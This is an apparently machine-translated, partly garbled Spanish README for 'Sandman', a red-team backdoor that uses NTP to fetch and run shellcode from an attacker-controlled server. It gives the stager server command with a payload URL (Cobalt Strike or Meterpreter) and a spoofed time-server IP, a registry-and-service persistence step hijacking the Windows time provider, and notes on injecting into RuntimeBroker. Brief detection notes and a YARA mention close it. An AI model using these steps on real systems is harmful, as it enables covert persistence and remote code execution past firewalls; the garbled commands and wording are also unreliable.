Sandman es una puerta trasera que está destinada a trabajar en redes endurecidas durante los compromisos del equipo rojo.
Sandman trabaja como un stager y aprovecha NTP (un protocolo para sincronizar la hora y la fecha) para obtener y ejecutar un código de shell arbitrary desde un servidor predefinido.
Dado que NTP es un protocolo que muchos defensores se pasa por alto en una amplia accesibilidad de la red.

Ejecutar en Windows / *Nix Machine:
python3 sandman_server.py " Network Adapter " " Payload Url " " optional: ip to spoof "Adaptador de red: el adaptador en el que desea que escuche el servidor (por ejemplo, Ethernet para Windows, eth0 para *nix).
URL de carga útil: la URL a su shellcode, podría ser su agente (por ejemplo, cobalTstrike o meterpreter) u otro stager.
IP para falsificar: si desea falsificar una dirección IP legítima (por ejemplo, la dirección IP de tiempo.microsoft.com).
Para comenzar, puede compilar el SandmanBackdoor como se menciona a continuación, ya que es un solo ejecutable de C# liviano, puede ejecutarlo a través de ExecheAseSembly, ejecutarlo como un proveedor de NTP o simplemente ejecutarlo/inyectarlo.
Para usarlo, deberá seguir pasos simples:
reg add " HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient " /v DllName /t REG_SZ /d " C:PathToTheDll.dll " sc stop w32time
sc start w32timeNota: ¡Asegúrese de compilar con la opción X64 y no cualquier opción de CPU!
Obtener y ejecutar una carga útil arbitraria del servidor controlado de un atacante.
Puede trabajar en redes endurecidas ya que NTP generalmente se permite en FW.
Imanrando un servidor NTP legítimo a través de la suplantación de IP.
Python 3.9
Los requisitos se especifican en el archivo de requisitos.
Para compilar la puerta trasera, utilicé Visual Studio 2022, pero como se menciona en la sección de uso, se puede compilar con VS2022 y CSC. Puede compilarlo utilizando el USE_ShellCode y usar ShellCode de Orca o sin USE_SHELLCODE para usar WebClient.
Para compilar la puerta trasera que utilicé Visual Studio 2022, también deberá instalar DLEXPORT (a través de Nuget o cualquier otra forma) para compilarlo. Puede compilarlo utilizando el USE_ShellCode y usar ShellCode de Orca o sin USE_SHELLCODE para usar WebClient.
Se inyecta un código de shell en RuntimeBroker.
La comunicación sospechosa de NTP comienza con un encabezado mágico conocido.
Regla de Yara.
Orca para el código de shell.
Un agradecimiento especial a Tim McGuffin por la idea del proveedor de tiempo.
Gracias a aquellos que ya contribuyeron y felizmente aceptaré contribuciones, haré una solicitud de extracción y lo revisaré.